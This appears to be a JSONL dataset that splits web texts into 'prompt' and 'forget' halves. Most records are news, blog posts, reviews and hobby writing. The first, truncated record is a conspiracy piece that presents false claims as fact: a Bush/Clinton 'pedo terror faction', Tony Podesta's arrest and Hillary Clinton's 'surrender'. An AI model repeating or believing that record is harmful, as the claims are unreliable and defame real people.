has reached a tipping point of no return, with arrests and purges in the U.S. and Saudi Arabia. In the Middle East, Iran-linked Hezbollah now effectively rules Lebanon after Saudi puppet Prime Minister Saad Hariri was forced to resign. His resignation was followed by the purge of hundreds of princes, generals, religious leaders, and others by de facto Saudi King Muhammad bin Salman. This purge was especially important because it cut off one of the last major remaining sources of Bush/Clinton mafia money and power. Many of the princes purged were homosexually bonded with members of the Bush family and their top lieutenants when they studied in the United States, according to confessions of Kay Griggs, wife of a Skull and Bones Society member, and others. https://www.youtube.com/watch?v=Dp_i1F-1lcA This is how Pentagon sources described the unfolding crackdown: \u201cThe Saudi purge of the Bush-Clinton pedo terror faction\u2014including [Osama Bin Laden\u2019s brother] Bakr bin Laden and anti-Trumper [Prince] Al-Waleed bin Talal\u2014is timed to the Paradise Papers leak, https://www.theguardian.com/news/2017/nov/05/paradise-papers-leak-reveals-secrets-of-world-elites-hidden-wealth?CMP=Share_AndroidApp_New_Post \u2026the arrest of Tony Podesta, and the surrender of Hillary"}
{"prompt": "Both of these are fixable -- the first problem can be fixed by intercepting NM_CUSTOMDRAW and forcing it to return 0, thus restoring the built-in redraw code, and the second one by sending another LVM_SETTEXTBKCOLOR message to restore an opaque background color. With these two fixes, the C# app runs as smoothly as the C++ app. I don't know why the WinForms team chose such poor defaults. The way I ended up debugging this involved parallel C++ and C# apps. Both were fairly vanilla apps made using the built-in app wizards, the C++ one containing a dialog with a list", "forget": "view, and the C# one being the same but with a WinForm. Okay, I'll admit that the C++ one was more annoying to write, because programming a Win32 list view directly is a lot of gruntwork. However, out of the box, the C++ app updated much more smoothly and didn't flicker madly. I'll spare you the debugging details -- which include ILDASM, WinDbg, Spy++, two instances of Visual Studio, and tracepoints in x86 assembly while debugging in mixed mode -- but I managed to figure out what was going on. The WinForms ListView is indeed a Win32 ListView with heavy subclassing, but it turns out the poor performance is caused by two bad design decisions on the part of the WinForms team: Therefore, I had to sit down tonight and figure out how you could make a standard Win32 ListView update so slowly that a 1541 drive could almost keep up with it. It seems that a perpetual affliction of .NET WinForms-based applications is slow and flickery repainting. Part of the problem is .NET's insistence on using GDI+, which is not hardware accelerated to any useful extent. That still doesn't explain why so many controls flicker all of the time, even though they're based on Win32 controls that don't have the same problem. Today I hit this problem yet again in a tool, this time with ListView. It drives me absolutely nuts to see a system with a 3GHz Core 2 and a GeForce 8800 take four seconds to redraw a list view that has three columns and a hundred entries when I drag a column, and even worse, flicker the entire time. Comments Comments posted: Custom draw (WM_NOTIFY, NM_CUSTOMDRAW) != Owner draw (LVS_OWNERDRAWFIXED, WM_DRAWITEM) pingpong - 15 09 09 - 22:18 Use a DataGridView instead, it sucks much less."}
{"prompt": "So, here it is \u2014 several years (necessitated by several twists and turns in the development stages) after it was initially announced, Grant Morrison and Yanick Paquette\u2018s Wonder Woman: Earth One hardcover graphic novel is finally in our hands (or mine, at any rate \u2014 and maybe yours, too, but frankly I have no idea about that), and I guess the question on everyone\u2019s minds is a pretty simple one : was it worth the wait? Having just read the book yesterday you\u2019d think I\u2019d be able to provide a definitive answer to that, but the truth is I can\u2019t", "forget": "(hey! What sort of a critic am I, anyway?) simply because, well \u2014 I\u2019m not entirely sure how I feel about it yet, apart from harboring a vague sense that it marks something of a wasted opportunity . Uncertainty isn\u2019t an entirely atypical reaction for any Morrison-scripted work, to be sure, but usually for reasons other than those I\u2019m about to offer here. With previous projects like The Invisibles, The Filth, The Multiversity and Animal Man (to name just a handful), it often took several reads to get a solid \u201chandle\u201d on the full breadth and scope of everything our favorite shaven-headed Scotsman was throwing at us from the admittedly deep well of his imagination, but what\u2019s perhaps most disarming about this particular book is how absolutely straightforward it all is. Really. Everything\u2019s right there on the surface. Which isn\u2019t to say that many well-nigh-legendary Morrison works such as All-Star Superman, WE3, or his runs on Batman and Action Comics haven\u2019t essentially been fairly easy to get a full grasp on the first time you read them, either, but they all at least betrayed some level of ambition in terms of either telling a very traditional type of story in a new way, or getting us to look at familiar characters from a hitherto-unconsidered point of view. By contrast, Wonder Woman : Earth One seems perfectly pleased to simply tell an adequate story that tinkers with the Princess of the Amazons\u2019 formative years around the margins a bit, and to leave it at that. Of course, the entire enterprise may have seemed considerably more ambitious back when Morrison\u2019s proposal was first accepted (at the expense of an earlier one from Greg Rucka that had been \u201cgreen-lit\u201d by DC editorial, helping to precipitate Rucka\u2019s departure from the company \u2014 except now"}
{"prompt": "The Tablet Longform newsletter highlights the best longform pieces from Tablet magazine. Sign up here to receive bulletins every Thursday afternoon about fiction, features, profiles, and more. 1. After a few years in Jaffa and her settlements and in Jerusalem and her study halls I decided to go and see the Land\u2014the Kinneret and Deganya kibbutzim and their inhabitants, who have added two settlements to the existing thirty-seven. I had too little money to hire a donkey to ride on or a wagon to travel in, but I had plenty of time, so I decided to make my way by", "forget": "foot. I timed the trip to celebrate Lag Ba\u2019Omer in Meron, because I still remembered something of what I had heard in my childhood about the spectacles and wonders witnessed on Lag Ba\u2019Omer night at the tomb of Rabbi Shimon bar Yochai. I placed a loaf of bread and some olives in my pack, took my walking stick, and locked my door. I placed the key on the windowsill behind the blinds, so if a friend came to visit and found me away he could still find the key, open my room, and find himself a place to rest. It was the custom in the Land in those days that a person could always find lodging with a friend\u2014if not a proper bed, then at least a floor to sleep on and a roof above his head. I departed Jaffa and walked nine hours to Hadera. Arriving at night, I found a place to sleep at a roadside inn leased by an Arab. I bathed my feet in hot water, rubbed them with olive oil, ate some of my bread and olives, spread myself out on the straw up in the loft, and slept soundly until morning when I was woken by the shouts of the Arabs and the screeching of their camels. I wanted to climb down from the loft but I could not find the ladder, which the innkeeper, fearing I would skip out on the bill, had removed. I called out for him with seventy different names used by Arabs, until I hit upon his name. He brought the ladder and I climbed down. I went out to the courtyard and washed my hands and face, drank two or three mugs of black coffee, and paid the lodging bill, hot water bill, and coffee bill, then headed"}
{"prompt": "Your browser does not support HTML5 video tag.Click here to view original GIF Last weekend, my friends and I went camping at a private spot in Big Sur that has the only fresh water swimming hole in the area. It\u2019d previously been off-limits, but thanks to a new service called Hipcamp, anyone can now book it online. How\u2019s it work? Advertisement The actual sunset you will actually see from camp. The Best Campsite In Big Sur Betty Withrow has lived in the mountains of Big Sur for 43 years. She\u2019s six miles down a rough dirt road, in a little", "forget": "hollow it takes serious effort to find, even with a map and directions. With mature apple, plum, fig and avocado trees, not to mention the redwoods that surround her property, it\u2019s about as close to heaven as you\u2019ll likely find on god\u2019s green earth. Advertisement And now, you can visit her there to go camping. We did just that, organizing a group of 15 people (the site\u2019s maximum) from San Francisco and Los Angeles and rendezvousing there to celebrate July 4th. We\u2019ve camped in Big Sur a bunch, first down in Limekiln State Park, which like everything at sea level is crowded, cold and damp. Then, on top of Prewitt Ridge, which is gorgeous, remote and warm, but does get crowded on big holiday weekends. Advertisement By booking Betty\u2019s place, a bit downhill from the Ridge, we bough ourselves complete seclusion and privacy, positively luxurious facilities (by camping standards, anyways) and that sweet, spring-fed swimmin\u2019 hole. While the Ridge a mile or two away was so crowded people had to turn around and leave and where campfires are currently banned, we knew we had our own spot reserved, complete with a permissible fire pit, kitchen, spring water and camp kitchen. If you haven\u2019t been to Big Sur, it needs to be on your list. Rugged mountains come crashing down into the sea, covered in oaks up top and redwoods as you get lower down. Somewhere in between the ridges covered in golden grass, persistent marine layer clouds and rocky coast line there\u2019s real magic. No better sunset exists anywhere on earth. So, it\u2019s a popular place to visit and camp. Along the Pacific Coast Highway, you\u2019ll find private resorts like Treebones, a few state campgrounds and a couple little turnouts where people park RVs. All of them are crowded, none"}
{"prompt": "DigitalGlobe is enlisting the crowd to scan and tag images of more than 1,200 square miles of ocean for any visible evidence that could help locate the Malaysia Airlines 777 aircraft that went missing this weekend. The Longmont-based earth-imagery company deployed its FirstLook service on Sunday, directing two of its five satellites to snap photos of the area in the Gulf of Thailand, where investigators suspected the plane may have crashed, and then activated its crowdsourcing platform, Tomnod, on Monday afternoon. Flight MH370, with 239 people on board, lost communication while on its way to Beijing from Kuala Lumpur. The", "forget": "missing plane continued to perplex investigators from around the globe three days later. \u201cIf there is something to see on the surface (of the water), we will see it. But the question is if we are looking in the right area,\u201d said Luke Barrington, DigitalGlobe\u2019s senior manager of geospatial big data. As each new theory led to a new dead end, the company recalibrated its action plan based on the Malaysian government\u2019s new area of focus, north and east of oil slicks reported soon after the plane went missing. DigitalGlobe activates FirstLook \u2014 used by emergency-response agencies in natural disasters, manmade crises and human interest scenarios \u2014 about twice a week, while Tomnod is used more selectively and for different reasons, Barrington said. \u201cWe try to use the crowd wisely and not tire them out,\u201d he said. \u201cThe story here is much more about the search than it is about the response. This whole feeling of not knowing, the lack of information or ability to do anything, we have seen time and again, is why people want to get involved.\u201d Within the first hour Monday afternoon, the Tomnod map had 60,000 page views with more than a thousand tags. Ten minutes later, that was up to nearly 2,000. Barrington said that the crowd actually directed the company on this particular crisis, asking for them to deploy Tomnod. \u201cThe people who come to Tomnod are very motivated to solve problems,\u201d Barrington said. \u201cI would say we will have up to 10,000 contributors on this one.\u201d DigitalGlobe is not the only earth-imagery company capable of delivering high-resolution images, but is arguably the U.S. industry leader. \u201cThere are an awful lot of assets up in orbit,\u201d said Marco Caceres, senior space analyst at The Teal Group. \u201cThere\u2019s dozens of earth observation satellites and"}
{"prompt": "Comments You're not logged in, you must Login to your account to post a comment. If you do not have an account, you need to Register to comment. It's a free and quick process. There comes to a point where a player has reached a certain level that they cannot plateau any higher. Now they are desperately doing worse, not as confident as before, and their drive is slowly drifting away. You practiced your combos in the training room, you beat the computer senseless a million times, and you have exposed yourself in a tournament environment. What else is missing?", "forget": "Why am I doing worse? It\u2019s an easy answer that most people don\u2019t realize. Your love of the game is lost. All you want to do now is to win and prove yourself to the community that you\u2019re a top player.This is a very common situation for lots of players, but having love for the game or for your character will show a lot more signs of improvement than someone whose only interest is to win. If you look at the player DJ Huoshen on how he play and how he reacts to things. You can tell that he loves to play with the team he uses; Felicia/Skrull/Taskmaster. He loves this game and he takes the game as it is. He understands that the game is cheap and his characters have a high chance of losing but he makes it work and still comes out on top. Why? Because he loves to play the game. He doesn\u2019t just care about winning. Winning is nice but staying true to your heart means a lot more and that\u2019s where winning matters the most.This obviously doesn\u2019t mean that if you pick the character you like, you will win all your matches. There are broken things in every game that will just prevent your success.Phoenixbut as long as you tried your best and your love in the game will be there, you will have a much more clearer outlook on things and what little things to improve on for your next match, tournament, and etc.If you look at the way Japan plays, they just stick to one character. Something that every country is doing now. The reason why they stick to one character is because usually that\u2019s their favorite character and of course you want to be the best with that character. Japanese players"}
{"prompt": "In California, where there are nine festivals devoted to lavender alone, you\u2019re never far from something that needs celebrating. But sometimes an event or theme or setting is so attractive, you might want to make a weekend or even a week of it. Here are 10 in 2018 worth a look. Mendocino Crab, Wine and Beer Festival: This scenic hamlet on the north coast draws visitors with a variety of festivals throughout the year, but its crab fest is one of the best of its kind, thanks to its all-you-can-eat cioppino and crab feeds, a crab-cake cook-off and the area\u2019s", "forget": "excellent local wines and beer. www.mendocino.com (Jan. 19-28) ScotsFestival on the Queen Mary: When you remember that Mary was Queen of Scots, it\u2019s obvious why the famed ship, built on the bonny banks of the River Clyde and now permanently moored in Long Beach, is home to the state\u2019s most unusual gathering of the clans. Expect all the usual competitions, music, games, haggis-eating and whisky-tasting opportunities, plus a Robert Burns Supper. www.queenmary.com (Tentative dates: Feb. 17-18) Palm Springs Modernism Week: What began as a single showcase now draws lovers of midcentury-modern architecture, design and culture from around the world for 10 days of activities that include film screenings, lectures, symposiums, art events, home tours, martini parties and even an ode to the beloved Airstream travel trailer. Sign up early enough and you can rent a gem of a private midcentury home. www.modernismweek.com (Feb. 15-25) Like our Facebook page for more conversation and news coverage from San Jose, the Bay Area and beyond. Pebble Beach Food and Wine: This is the younger sister of Aspen\u2019s famous signature culinary festival, but with even better wine. Set on one of the most prestigious stretches of coastline in the country, the event draws thousands to sample offerings by more than 100 celebrity chefs and 250 wineries. Enjoy culinary demos, grand tastings, special events \u2014 such as last year\u2019s Southern Breakfast with Hugh Acheson \u2014 while taking in sumptuous views. www.pbfw.com (April 5-8) Paso Robles Wine Festival: Anchored in the Downtown City Park, with additional events hosted by wineries in the nearby rolling hills, this four-day eating and sipping extravaganza includes winemaker dinners, live music and barrel tastings. Buy tickets to the Grand Tasting early. www.pasowine.com. (May 17-20). Valhalla Renaissance Faire: Renaissance fairs can be found closer to home, but why not hang out with"}
{"prompt": "Julia Greenshields is back for a brief stay in her hometown before rejoining the Rugby Canada national women\u2019s program in B.C. Where is she spending most of her free time during her two-week stint in Sarnia? On the rugby pitch, of course. \u201cIt keeps me busy, it keeps me in shape while I\u2019m here anyways,\u201d she said. \u201cI like keeping on grass, especially when it comes to injuries to help rehab and stay fit while I\u2019m here. You learn when you coach, too.\u201d Greenshields, 23, has been helping out various local sides, including the Sarnia Saints U14 and U16 boy\u2019s", "forget": "teams that brought medals back from a 7s tournament in Oakville last weekend. On Tuesday at Norm Perry Park, she was offering some tips to the U18 girls. She took in one of their matches last week and noted a need to work on tackling, staying in a line defensively, and passing. \u201cSomething to work on,\u201d she said. \u201cThey\u2019re young.\u201d Greenshields played for the Saints for a few seasons until moving out to Victoria \u2013 that\u2019s where Rugby Canada centralizes the national teams \u2013 and has remained based out of the west coast since January 2012. The former Queen Elizabeth II and St. Clair student was eligible but ultimately wasn\u2019t selected to be part of the Canadian Pan Am Games 7s entry that won gold over the U.S., partly due to a recent sprained ankle she suffered in practice in April. With the aid of rehab and an ankle brace, though, she\u2019s back in action now. In Victoria, her schedule usually consists of six-days-a-week training featuring sprints, skills, weightlifting and general conditioning. \u201cLong days for us,\u201d she said with a chuckle. The national team competes in a series of tours in locations such as Dubai, Atlanta, Brazil, China and London. The most recent tour stop she participated in was in Amsterdam in May with the developmental side called the Maple Leafs. There they won the championship, defeating Ireland in the final. \u201cA really cool experience,\u201d she said. Carded as a Canadian player, Greenshields has played with both the main team and the developmental side at times. Overall, Canada\u2019s women are ranked second after New Zealand, she added. Despite the fact Greenshields plays 7s, which will be in the 2016 Olympics, she is still able to pass on some useful tips to Sarnia\u2019s 15s sides, such as the U18 group. \u201cIt\u2019s"}
{"prompt": "By Wild Wild here again, and I\u2019ve got us another battle report in preparation for Crucible. For this tournament Rhyas\u2019 full Rearguard theme list was in, as was Thagrosh the Messiah with the Archangel. The tournament was also notable for us as being the final event before we go to Crucible, and several of us were preparing, including two of my opponents. Once again, I forgot to take pictures, but luckily for my 2nd round, Anthony from Frozen Kommander was my opponent and took pictures of the end of each turn starting from his 1st turn. Check out his youtube", "forget": "channel here. That out of the way, time to go over the two lists I\u2019m running. List One: Rearguard theme force, Tier 4 \u2022 Rhyas, Sigil of Everblight \u2022 Succubus \u2022 Nephilim Soldier \u2022 Typhon \u2022 Shredder \u2022 Blighted Nyss Swordsmen 10-man \u2022 Swordsmen Abbot and Champion \u2022 Blighted Ogrun Warspears 5-man \u2022 Blighted Warspear Chieftan \u2022 Blighted Ogrun Warspears 5-man \u2022 Blighted Warspear Chieftan \u2022 Blighted Nyss Shpeard \u2022 Warmonger War Chief \u2022 Warmonger War Chief Coming in at 50 points, Rearguard acts as not only my infantry list, but also my \u201cHold the Line\u201d list. There are 3 major points to this tier. The first is at Tier 1, Stealth for the entire army turn 1. This alone wouldn\u2019t sound so bad if Tier 4 didnt exist: All Blighted Ogrun models gain Advance Deployment. That\u2019s 14 models 13-16\u201d already in from the board edge\u2026.and stealthed. Heavy Infantry no less. Tier 3 is the icing on the cake, allowing Rhyas to place her Upkeep spells Occultation and Rapport for free before deployment. Standing in at FURY 5, this allows her to have both spells out and cast Dash out on Turn 1, allowing with proper placement her entire infantry army a SPD Buff. Her warbeasts don\u2019t benefit, but since Typhon and the others are acting as a second line along with the Swordsmen, this is not an issue. Now the other list: List Two: Thagrosh the Messiah \u2022 Thagrosh the Messiah \u2022 Archangel \u2022 Succubus \u2022 Carnivean \u2022 Shredder \u2022 Shredder \u2022 Shredder \u2022 Spawning Vessel \u2022 Blighted Nyss Hex Hunters \u2022 Bayal, Hound of Everblight And here is my secondary, the beast heavy Thagrosh list. With the inclusion of the Archangel and the Carnivean, Thagrosh has the Hex Hunters as advance forces, though it does have skornergy in"}
{"prompt": "Bass Fishing Heating Up in Cooler Weather by Tom Lester Old man winter has finally awakened and cooler temperatures are here and holding steady. For quite some time, we fall bass fishermen have been anxiously awaiting a cool down that would in turn our lake water temperatures lower. Although, today is the first official day of winter, the water is cooling off nicely. It's time to go fishing. Personally, I love fall pattern bass fishing. It is the time of year bass gorge themselves with food getting ready for winter. When they are filling themselves up, I like to be", "forget": "on the water catching 'em. Generally speaking, if you can find them, they are pretty easy to catch, and catch and catch. As the water cools down on our lakes, the shad (one of Mr. Bass' primary dishes) move into the creeks and guess who is following right behind them? That's right, ole man bass. Now that we've got 'um cornered and hemmed up in the creeks, its time put your boat in the water and get ready for some fun. I generally start out on the points of main creeks. It is a good place to find bass that are moving into the creek or coming out. They will literally \"stack up\" on the points as they move around to feed on the shad. My bait of choice on the points is a Norman's crankbait. My overall favorite is the Deep Little N (DLN) in any of the numerous shad colored patterns they have on the market. The Deep Little N crankbait is a medium diving bait that works really well when the fish are suspended off of the points. It is also about the same size as the shad this time of year. It has good action and sound with the built in rattles. I use 10-12# CXX P Line year round, when cranking. My friend, Eric Talley of Corsicana, TX, turned me on to using the smaller lines. I'm glad he did because it has greatly improved my numbers since I switched. The smaller line allows the bait to dive deeper and have a better action than the larger lines do. If you are like I used to be, using 15-20# line while fishing a crankbait, try sizing down your line. I bet you catch more bass, like I did. I know what you're thinking; what if"}
{"prompt": "The Pok\u00e9mon franchise is copyrighted to Game Freak These Pok\u00e9mon has been designed and drawn by me, please do not use without my permission, thank you. (See? This time I have a good title)Anyways, I wanted to remake my chestnut-based Fakemon, so I did just that. Enjoy!-LV.30->-LV.45->***Welcome to today's lecture about the wonderful creatures of this world known as Pok\u00e9mon! My name is Professor L0kiice, and today we are going to look at the evolutionary family of the Shelled Pok\u00e9mon, Chinquell!Chinquell are born without eyes and are thus, unsurprisingly, completely blind. And much like the more violent dragon Deino, these", "forget": "Pok\u00e9mon use their mouths to compensate for their lack of eyesight. However, unlike randomly biting things, Chinquell utilizes a more delicate manner of finding their way around. With their tongues protuding out of their mouths, Chinquells find their way around by their delicate sense of taste, thus they are excellent for tracking things, assuming that they know the special \"taste\" of what they are supposed to be tracking first. But since they lack limbs, a Chinquell in the wild never travels far from its birthplace before evolution. Because of their inability to move very well, they are quite often sitting ducks, something that makes their fully evolved form, Dracastan, one of the more protective parents of the Pok\u00e9mon world.As Chinquell evolves and becomes Castemisa, they gain a set of eyes as well as legs. And even though they have a new sense to fully explore, Castemisas still use their tongues more than their eyes. Having legs gives you the benefit of being able to wander pretty much everywhere you like as well as to get away from attackers. But seeing as Castemisas have to carry around a heavy shell, they aren't going to outrun many things. That is what said shell is actually for, protection. With sharp spikes on both sides of its body, Castemisa is one tough nut that no-one in their right mind would attempt to crack, at least not with their mouth.But what does Chinquell and the other's of its evolutionary family eat? It depends, as the Pok\u00e9mon reaches its higher stages of evolution, its food-intake becomes more varied. Since Chinquell mainly stays in its nest, it is usually fed by its mother or father, who usually brings home the game of the day that they have hunted. As Chinquell becomes Castemisa, it gets a bit more"}
{"prompt": "It started with the oven. In Singapore in 2001 I bought a used Sharp R-8H50(B)T Rotisserie combination microwave and convection oven from my buddy, Tuck Wai, for S$200. Say what you will about the Sharp Corporation, which is struggling, but that oven was The Bomb. It followed us from Singapore to Beijing to Shanghai and back to Beijing, proving its worth repeatedly in a country where most apartments don\u2019t have ovens. It even survived one front panel change. It was the best S$200 I ever spent in my life. Tuck always regretted selling, a sure sign of a good deal.", "forget": "Earlier this year the panel started to fail again, and no transplants were available. It was a protracted death, like a person with progressive organ failure. One by one, over the course of a couple of months, the buttons stopped working, slowly narrowing the list of things the oven could do. First we lost the grill. Then the convection function. Then the microwave time entry. The last gasp was the quick start. Goodnight, sweet prince, and flights of angels sing thee to thy rest. Anyway, I\u2019m not superstitious, and I don\u2019t generally believe in portents, but if the death of our trusty Sharp Rotisserie isn\u2019t a sign that change is in the wind, what is? So after eight and a half well-documented years in Beijing and 17 in Asia for me, we\u2019re moving back to Palo Alto in January. I\u2019m going because my company has asked me to move to the Silicon Valley office, very near where I grew up and where most of my family still live. For a long time I resisted the idea of moving back to the United States. My self identity is largely based on being \u201cthe one who\u2019s in Asia.\u201d I was 27 when I left the US in 1995, six months out of graduate school and in most measurable ways a complete doofus. My personal and professional development has pretty much all been in Asia, and most of my friends and virtually all of my experience and network are out here. Which, when you think about it, seems like a really good reason to do something different, even if that something is going home. Sometime in the last year or two my previously steadfast resistance to going home started to soften. Last May, when my boss proposed I come back to Sunnyvale, which"}
{"prompt": "The NFL reached Peak No Fun League this season, the result of another attempt to crack down on the kind of insidious, soul-draining behavior that threatens to undermine the fabric of the game. In other words, spontaneous joy is out. So are most forms of celebration and darn near every ounce of shade players toss at one another. Taunting penalties have spiked, at one point up more than 200 percent compared with last season. Unsportsmanlike conduct penalties have risen, and ejections have nearly tripled last season's total. How to make sense of a world scared straight? For your convenience, ESPN", "forget": "offers this handy tool. Flag or no flag? You make the call. We'll tell you if you're, uh, right. Josh Norman, Washington Redskins | Bow and Arrow Norman pretends to shoot a bow and arrow. He's holding neither a bow nor an arrow, but you get the point. Think of him as a modern day Robin Hood. He steals from the rich and gives to the poor. This is a penalty because it is close enough to a \"machine-gun salute\" that is explicitly banned in the NFL rulebook. Penalty? Yes! Antonio Brown, Pittsburgh Steelers | End Zone Twerking Everybody's doing the twerk, including Brown. But that's a big no-no. Nobody twerks in the NFL. Nobody. In the view of league officials, it's a sexually suggestive dance that involves gyrations, both of which are explicitly banned in the NFL rulebook. That's a penalty every time. Penalty? Yes! A cartwheel is dramatic and draws attention to the individual who is, well, cartwheeling. But surprise! It's not illegal according to NFL rules. (Wait until next year. Ha!) Sanders didn't violate any of the known restrictions. It wasn't prolonged or excessive. It wasn't sexually suggestive. It had no gyrations, and the only parts of his body that touched the ground were his hands and feet. Good job, good effort! Penalty? No! The Lions added a cheerleading squad this season, and all Golden Tate wanted to do was support it. So after a touchdown earlier this season, he jumped into the mix, borrowed a pair of poms and joined in the dance. No penalty! He was on the sideline, after all, and outside of the field of play. He was free to do darn near anything that didn't spur an all-around brawl. Penalty? No! Andrew. Hawkins. Decided. He. Wanted. To. Be. A. Troll. (Good. Natured."}
{"prompt": "Muncie police car (Photo: File photo) MUNCIE, Ind. \u2013 City police said a Muncie man created a disturbance in the northside Goodwill store on Saturday, in the process choking a store clerk, breaking an officer\u2019s hand \u2013 and proclaiming himself to be God. Khaliad Sulaiman Bilal, 24, of the 3700 block of North Tillotson Avenue, was arrested on preliminary counts of strangulation, intimidation, battery, battery on law enforcement, resisting law enforcement and disorderly conduct. However, Bilal \u2013 also alleged to have threatened to kill several people in the store \u2013 was admitted to IU Health Ball Memorial Hospital rather than", "forget": "taken to the Delaware County jail. Police were called to the store \u2013 at 5035 W. Hessler Blvd. \u2013 about 1:30 p.m. after receiving a report of a man \u201cfighting with customers and staff.\u201d Witnesses \u2013 several of whom took cellphone videos of the incident, according to police reports \u2013 said Bilal at first \u201caggressively approached\u201d those inside the Goodwill store, \u201ctrying to preach to people and also putting his hands on customers.\u201d They said he became increasingly agitated, \u201cscreaming about being Muslim and how he was going to kill everyone including the police,\u201d a report said. During the disturbance, a 50-year-old store clerk was allegedly battered and strangled by the Muncie man. That woman told police Bilal \u201cgrabbed her by the throat and applied pressure\u201d after he became upset \u201cwhile trying to covert (her) to Islam.\u201d Bilal allegedly fought with officers when they arrived, and continued to do so after being shocked with an electric stun device, repeatedly kicking at officers after he was handcuffed. One officer\u2019s hand was broken during the melee. After the Muncie man was placed in an ambulance, Bilal was asked to identify himself and said he was God, an officer said. Earlier, while still in the store, Bilal had said several times \u201cthat he was the Prophet Muhammad and told us that we were going to hell,\u201d an officer wrote. According to a probable cause affidavit signed Monday by Delaware Circuit Court 1 Judge Marianne Vorhees, after he is released from the hospital, Bilal will be held in the county jail under a $10,000 cash bond. Also Monday, additional preliminary charges \u2013 of battery on law enforcement and resisting law enforcement \u2013 were lodged against Bilal after he allegedly repeatedly struck an IU Health Ball Memorial Hospital police officer in the face. The officer"}
{"prompt": "Photo by: Heather Coit/The News-Gazette Illinois students come out in force to vote at polling locations, like McKinley Presbyterian Church & Foundation, seen here, across UI campus in Champaign on Tuesday, March 15, 2016. We've known all along that college-age voters love Bernie Sanders, and last Tuesday's voting in Champaign-Urbana confirmed it. But it wasn't as well known that they \u2014 or at least the students at the University of Illinois \u2014 don't seem to think much of Donald Trump. In last week's voting in the nine student-dominated precincts in Champaign-Urbana, Sanders got 4,065 votes to 463 for Hillary Clinton.", "forget": "Clinton's numbers were pretty good compared with those going to the four Republicans who were still campaigning at the time of Tuesday's voting (Marco Rubio dropped out of the race that evening): 294 for John Kasich, 250 for Rubio, 233 for Ted Cruz and 194 for Trump. Other nuggets from primary election voting in Champaign-Urbana: \u2014 More Democratic ballots were drawn in every one of Urbana's 23 precincts and in all but two of Champaign's 39 precincts. City of Champaign 32 (which votes at the Free Methodist Church on South Mattis Avenue) had one more GOP than Democratic ballot, and City of Champaign 33 (which votes at the Meadowbrook Community Church on Duncan Road) had 23 more Republican ballots. Ted Cruz won both precincts. \u2014 Sanders won 22 of 23 precincts in Urbana and 34 of 39 precincts in Champaign. Among Republicans in Urbana, Kasich and Cruz each won nine precincts, Rubio took two, Trump won one, and Trump and Cruz tied in two. Among Republicans in Champaign, Cruz won 18 precincts, Kasich took 13, Trump won four, Rubio won one, and Trump and Cruz tied in three. \u2014 Sanders was a huge winner overall, not just in the student precincts. He got 15,831 votes (9,412 in Champaign and 6,419 in Urbana) to 6,064 for Clinton (3,702 in Champaign and 2,362 in Urbana). Cruz was the top vote-getter among Republicans with 3,223 (2,407 in Champaign and 816 in Urbana), followed by Kasich (1,839 Champaign and 612 Urbana), then Trump (1,794 Champaign and 602 Urbana) and Rubio (1,046 Champaign and 382 Urbana). \u2014 The biggest voter turnout was in Cunningham 10 (which votes at the Urbana Free Library and is generally the Carle Park neighborhood) with a spectacular 72.21 percent turnout. There Democrats outnumbered Republicans more than 9-to-1. Four years ago"}
{"prompt": "About Hi! My name is Sandy Clifton. I am an artist, self employed web and graphic designer in Colorado, just south of Denver. Although, I would consider myself a novice painter I am captivated with the allure and essence of a being, and the need to creatively capture it. Sandy I want to bring out the darkness/light hidden within us, the seductiveness, and one's innermost desires. I want to achieve a mix of hyperrealism and creativeness with a stroke of a brush. Even though I am fairly new at oil paints and portraits I have fallen in love which has", "forget": "awoken an unquenched passion within me. About this project: \u201cPaint Till It Bleeds\u201d is a project where I paint up to 25 new oil paintings to try to achieve a mix of hyperrealism and creativeness with the use of color. (Depending on the size I use may be less than 25. Paintings will be mostly of portraits and of wildlife animals.) The work I have been doing recently My Goal: I want to take my painting skills to the next level and along the way develop my style and skill, and dive even further into ones true essence through paint. My goal is to create up to 25 new oil paintings that range in size from small to large in the next 10 months. A painting can take me anywhere from 20-40 hours depending on the size. I want you to be a part of this project. I want to paint you too! Each painting created during this project will have a time lapse movie created right along with it that can be seen on YouTube or Vimeo. Help me keep this dream of mastering oils by purchasing a painting. What I need? Several Boxes of Oil Primed Linen 11 x 14 - 18 x 24 and up Paint and lots of (200 ml sizes) Brushes Liquin Paint Thinner Ink for reference photos Kickstarter fees Printing costs Shipping supplies Shipping Costs Any amount raised above (fingers crossed) the goal will go towards photographing and documenting the project, paying dues to be accepted on an official art collaborative website to help me get that exposure (It is $400 a year), additional art materials/supplies/storage, unforeseen expenses (bills), and possibly getting Electricity/light installed in my art space. So I can see my work! By choosing to be a subject for my paintings you"}
{"prompt": "Eminem is still angry with President Donald Trump, but this time, it\u2019s personal. In an interview on Shade45, the rapper says he anticipated an angry response the president to his freestyle cypher \u201cThe Storm,\u201d but nothing has happened yet. Eminem delivered an angry verse about the president on October 6 at the BET Hip Hop Awards, calling him a \u201cracist grandpa\u201d. Though the video went viral, racking up 34 million views as of this writing, the president never responded to Eminem, a fact that seems to have angered him more. Trending: Student Accused Of Snatching MAGA Hat From Trump Supporter", "forget": "May Face Year In Jail \"I was and still am extremely angry,\u201d Eminem said on his XM radio station. \u201cI can\u2019t stand that motherf**ker. I feel like he\u2019s not paying attention to me. I was kind of waiting for him to say something and for some reason, he didn\u2019t say anything.\u201d Trump tends to tweet angrily after watching Fox News programs including Fox & Friends, specifically about any subjects the talk show hosts bring up. He has also attacked several late night talk show hosts for criticizing him, a fact which has excited The Late Show \u2019s Stephen Colbert. For whatever reason, it appears the president was not watching the BET Hip Hop Awards. eminem More Getty Images Don't miss: Donald Trump Promotes His Own Black Friday 'Make America Great Again' Merchandise Deal On Facebook If the president does decide to watch Eminem\u2019s freestyle, he\u2019ll be treated to lyrics like \u201cRacism's the only thing he's fantastic for\u201d and \u201cThis is for Colin [Kaepernick], ball up a fist! / And keep that s**t balled like Donald the b**ch!\u201d Eminem has begun chants at his live performances insulting the president, in the weeks since October 6, as BET reports. But these, too, have fallen on deaf ears. Fox News is, unsurprisingly, less surprised that Trump hasn\u2019t responded to the video it calls a \u201cfive-minute freestyle rap bashing.\u201d Eminem actually shares a geographical fanbase with the president. Both of their most devoted fans tend to live \u201cin whiter and more rural places: West Virginia; southern Ohio; eastern Kentucky; deep north Maine; the Ozarks in Missouri; across the Great Plains,\u201d The New York Times pointed out in October. That means Eminem\u2019s anti-Trump verse probably caused the most controversy in those states. Although Eminem\u2019s anger at the president is probably authentic, it\u2019s worth pointing out"}
